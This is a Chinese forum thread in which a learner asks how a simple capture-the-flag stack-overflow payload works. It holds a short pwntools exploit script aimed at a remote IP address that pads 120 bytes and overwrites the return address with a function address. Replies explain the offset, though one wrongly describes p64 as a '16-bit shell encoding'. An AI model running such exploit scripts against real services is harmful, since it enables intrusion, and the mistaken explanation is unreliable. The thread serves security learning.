求教一题简单的栈溢出payload分析

from pwn import *
p=remote('129.211.58.26',10000)
p.recvuntil('Plz input letter exactly!\n')
payload='a'*(120)+p64(0x4006B6)
p.sendline(payload)
p.interactive()
加粗字体部分的 'a'*(120)是什么意思。。
然后 题目放在附件里了 希望有师傅可以教一下orz

因为变量V4与返回地址之间相差0x70h,之间要填充120个字符。

guo 发表于 2019-8-10 23:07
因为变量V4与返回地址之间相差0x70h,之间要填充120个字符。

请问一下 这个地址相差 怎么看呢

120是栈内gets开始到ret的偏移，p64是16位的shell编码，0x4006B6是foo函数起始地址

shaxin 发表于 2019-8-21 16:24
120是栈内gets开始到ret的偏移，p64是16位的shell编码，0x4006B6是foo函数起始地址

蟹蟹师傅